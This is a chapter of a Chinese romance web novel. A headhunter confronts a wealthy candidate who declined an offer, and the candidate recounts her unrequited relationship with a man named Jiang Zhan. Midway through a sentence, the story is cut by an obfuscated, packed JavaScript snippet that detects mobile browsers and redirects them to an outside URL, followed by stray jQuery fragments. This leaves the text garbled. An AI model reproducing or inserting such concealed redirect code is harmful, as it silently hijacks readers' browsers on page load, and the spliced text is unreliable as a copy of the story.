34. 埋怨

作品:《大佬,挖个墙脚

    雪白细腻的墙挂有几幅国风的水彩山水画,深浅不一的泼墨点染绘出延伸的写意幽静和朦胧。


    然而最上方,靠近窗框的机械钟表一刻不停,咔擦咔擦地蚕食时间。长方形的阳光不偏不倚地照上钟表的大半部分,模糊了具体的罗马数字,时间都缓慢许多。


    盯久了,会产生一种目眩的头晕感,仿佛耳畔是流动的风声,溪流汩汩,鸟啼虫鸣络绎不绝,使人轻易沉溺其中。


    这是一家私人的高端茶室,塑造的氛围感浓烈,空间静谧,柜上,线香燃烧过半,飘出似肉桂崖柏的檀香。


    猛烈的气流随着拉开的大门在木质地板旋蹿,轻轻刮起画卷的一角颤了颤。


    黑色长筒靴急促地踢踏在木质地板上发出塔塔声,步伐又疾又重。阮盈满快步入内,满脑子都是疑问与事先构思的斥责,目光从掌心的手机屏幕移动到墙上醒目的机械表,她忽而眯起眼,脚步放缓。


    仿若被环境感染,她放松拧巴的眉头,心想,自己是不是来早了。


    隔间的包厢与包厢隔音效果良好,装修雅致,够安全,够隐私,有一种令人放松的安心感和掌控感。


    上二楼,找到约定的包厢,阮盈满手腕向左收紧,拉开门。


    然而乔诗旻早已等候多时。


    眸光凝在一点上,阮盈满停顿片刻,随后调整呼吸,扬起嘴角恰到好处的弧度,轻声细语说道:“乔小姐,似乎是……久等了。”


    多亏前段时间杜诚灵沉迷茶道,她才得以从绿茶茶汤的颜色,推断出乔诗旻早她许久。


    或许,不是她来得晚,而是乔诗旻刚刚对面坐着别人。


    空气中弥漫着一丝淡淡的深沉香水味。


    阮盈满呼吸放缓,感到似有若无地熟悉。


    原来事先有约,可青色裂纹陶瓷杯不见唇痕,还是满杯的状态,想来相谈的过程并不愉快。


    乔诗旻淡淡解释,伸出手请阮盈满坐下,重新替她沏了一杯:“没有久等,刚刚还有人在。”


    时间在密闭的空间慢了下来。


    轻轻“砰”的一声,门扉被拉上。


    正对方形的木质窗柩,阮盈满从善如流地坐下。


    窗外乌桕树枝叶繁茂,小枝纤细,叶片轻薄,橙黄橘绿的一片,实在温柔。于似乎,满腔情绪竟也渐渐冷却,阮盈满嗅闻满室旖旎的茶香,不知从何说起。


    从鼻腔呼出一道悠长的气息,阮盈满似笑非笑,双手捧起茶杯置于唇前,热气氤氲在她鼻尖处,她开门见山:“乔小姐拒绝我,不会是因为见了其他猎头吧?”


    说完,冷气从阮盈满的眼神中淬出,她微妙地抬眼,看向处事不惊的乔诗旻。


    通常,猎头是掌握主动权的角色。但优质候选人永远是万里挑一的稀缺资源,他们有能力对比手上确切的offer,这时就能补充更优厚的福利,谈更高的薪资。


    往往这个时候,候选人意向习惯性流/产,猎头就从优势方变为被动方,落於下风。


    可乔诗旻摇头否认。


    阮盈满放下茶杯,“我能理解乔小姐不想趟天然内部改革的浑水,又或者是在面试结束后不满意天然、RA,不满意任何细节上的问题。我不明白的是您回绝offer的理由,为什么要说一开始期许的岗位诉求与未来规划无关。所以乔小姐,你究竟想要什么,想做什么?”


    面对阮盈满的步步紧逼,乔诗旻没有争辩的意思,仍淡然:“我也不知道我想要什么。”


    阮盈满凌厉的神色松动,眉心微拧,“……乔小姐,难道目前并不打算继续工作吗?”


    乔诗旻不否认。


    靠!忍不住内心怒骂一声。


    顷刻间,阮盈满内心升腾起一种被人狠狠耍了的暴躁和无力。


    大小姐,您没事吧?别人的时间不是时间,别人的精力也不是精力,你们轻飘飘的一句话就要他人为你们释放优势通道,轻易薅夺普通人来之不易的机会,到头来也不懂得珍惜,说丢就丢,让阮盈满感到特别没意思。


    唇角生出痒意,她好想骂人。


    “抱歉。”乔诗旻扬起眉头,眼神心虚地闪了闪。


    阮盈满往背椅靠去,尽情释放冷意,“为什么?”


    嘴角噙着一抹苦笑,她说:“或许因为,我需要冷静一下——换个环境,重新思考。”


    阮盈满神情凝滞,瞬间脸上像打破了的调料盘青红交接,拉长音地“哈”了一声,音量不可控地往下降,“我明白,但?可能我还是有点好奇。”


    破碎的光点在乔诗旻的眼角亮了亮,又很快隐去,无力的情绪像潮湿的阵雨来得迅疾,又很快止息。胸口像压了块重石,她深深呼气,再次控制不住似的,纷杂的情绪山呼海啸般倾泻而出,乔诗旻声线颤抖:“我也不知道。阮顾问,你知道吗?其实更早知道我没有工作意向的,不是你。”


    阮盈满低低接话,“是江总?你刚刚和他见了一面。”


    不是,那怎么还把女孩子给弄哭了呀。


    阮盈满更急了。


    “是——”乔诗旻吸了吸鼻翼,讥嘲似的低喃,“有时候,我很嫉妒你。但我讨厌这样,讨厌无时无刻把自己和你放在同一位置暗自比较的心情。”


    “因为江总?我知道你们在一起过。但我和他,没什么呀。”


    阮盈满一头雾水,喜欢是靠自己争取的,而不是预设假想敌。


    “你知道?原来你们都知道我和他在一起过……那所以你们也看得出来,他根本不喜欢我。”


    阮盈满报之以沉默。


    是的,明眼人都看得出来两人间是怎么回事,而最伤人的也正这一点。


    养尊处优的大小姐最是自尊自傲,她不屑于主动争抢男人的爱,却又不甘心将喜欢的人拱手让人。


    “我不知道你们之间到底是怎么回事,但至少我觉得,江总是在乎你的,乔小姐。”


    乔诗旻摇头,“你不懂,江湛不是主动和我在一起的,而是被要求,沉默地接受。别人总觉得是我运气好,可他们从来不去想,这些是不是我想要的,不爱我却和我在一起,对我也很不公平啊。”


    她又呓语:“我宁愿我们一直是以朋友的身份待在彼此身边。”


    阮盈满:“哪怕情况是我和江总这样?”


    窗外的乌桕树扑簌簌地响,秋天的味道偶尔是苦涩的。


    --


    乔诗旻和江湛自小青梅竹马一起在院里长大,彼此关系说不上有多么要好,只是父辈之间相互熟悉,所以还算交好。


    从小到大两人的名字总被一起提及,处处比较,不是你压我一头,就是我胜你一分。少女心事,是好胜心,是强烈的自尊,乔诗旻讨厌父母对江湛的关注和夸赞,叛逆期时,她对江湛越发避嫌。


    可不知从什么时候开始,乔诗旻会把身边的所有异性,拿来与江湛比较:这个不如江湛优秀,那个不如江湛样貌好……


    比来比去,竟统统都不如江湛。


    以至于江母撮合两人在一起,乔诗旻惊讶片刻,思索后发现自己是能接受的,哪怕江湛根本不爱她。


    一时昏头,算不算自食恶果?


    乔诗旻与江湛在一起的半年,是乔诗旻这辈子最痛苦的9个月,她花了三个月的时间才慢慢从江湛对她不曾一分动心的事实阴霾中走出来。


    甚至都不是因为江湛不好,而是因为江湛太好了。不用说他温柔体贴、予取予求,甚至和他在一起后,再也找不到比


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933200|190917||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他更拿得出手的对象了。


    乔诗旻头顶的花环从来没有因为另一个人的出现,而那么盛大过。


    她从一开始的别扭,逐渐接受,甚至到最后面对江湛,会不知不觉地心跳加速。


    她知道她完了。


    这种感觉就像是会上/瘾的毒药,随之而来的,是江湛居然不爱她的不甘心。


    让江湛爱上自己,这种全然不受自己掌控的想法在脑海破土发芽,占据了乔诗旻的全部。


    潜移默化的,乔诗旻也以江湛未婚妻的头衔和准则要求自己,洗手作羹汤,抛却自由进入职场只为以后自己的能力和光辉拿得出手、配得上他。


    旁人都说她疯了。


    是,她是疯了。


    可江湛呢?


    明明是交往的关系,但从始至终都只把乔诗旻看作是妹妹的角色,而不是女朋友、一个可以发展亲密关系的对象。


    乔诗旻不明白为什么自己捂不热他的心,哪怕他可以把她当做普通女人去看待,她都有机会。


    即使自己主动示好,抛下尊严主动躺在他怀里,江湛都无动于衷,甚至妥帖地整理好她的衣服,温柔地对她说,诗旻晚安,好好休息。


    乔诗旻再卑微,都不可能把尊严任他踩在脚下。


    于是她主动提了分手,江湛连挽留都没有!


    只是问,你确定?


    确定。


    好。


    好?!


    一点都不好!不好!


    --


    乔诗旻愤恨地发泄,低低哼斥:“我不甘心,更可怕的是,到头来我分辨不清,我是真喜欢他,还是因为他不喜欢我的这份不甘驱使我走到今天,去做那些我并不喜欢的事情。我太渴望和他站在一起,甚至妄想站得比他更高,让他仰视我,离不开我,让我的名字后面永远缀着他的名字。真是——太可笑了。”


    她的姿态还是那么优雅,只是表情有了一丝扭曲的龟裂。


    乔诗旻清丽的眼神涌出妩媚多情的痛苦,那颗小黑痣随着眼部基底的起伏不断颤抖着,飘荡出淡淡的哀愁。


    她不停地抱怨,抱怨江湛,也埋怨自己。


    “所以我羡慕你,羡慕你能被他放在对等的位置看待问题,他从来不把我放到那个高度上。”


    一直以为,乔诗旻把爱视作舒婷笔下的《致橡树》。


    ——我必须是你近旁的一株木棉,作为树的形象和你站在一起……我们分担寒潮、风雷、霹雳;我们共享雾霭、流岚、虹霓/仿佛永远分离,却又终身相依。


    可江湛全然不给她那样的机会。


    凭什么?明明是他们要求她和他在一起的!


    最让她接受不了的是,阮盈满都比江湛更尊重她,至少她还会问。


    你究竟想要什么,想做什么?


    乔诗旻冷静下来,平复心态终于有了喘息的空间,她垂眸望向杯中自己的倒影。


    乔诗旻,抛去江湛,你究竟想要什么?


    阮盈满什么都没有说。


    作为旁观者,她理解乔诗旻的痛苦,可她……


    手指在眼尾擦拭,乔诗旻挤出一个比哭还难看的笑容来,“所以你也觉得我可笑吗?”


    “不,”阮盈满轻微耸肩,“这么说来,乔小姐,我也很羡慕你。羡慕有人能照顾你,分担你的苦恼,把你呵护在臂弯下。乔小姐,我就没有那么幸运,一个人走到今天这样的位置真的太难了。老实说,我不愿意做一座孤岛,即使是一座枝繁叶茂春暖花开的孤岛。”


    乔诗旻愣怔,随后干燥的嘴皮嗫嚅,她不知道该怎么说,于是一言不发。


    从来没有人会以这样的角度安慰她。


    不对,这是安慰吗?!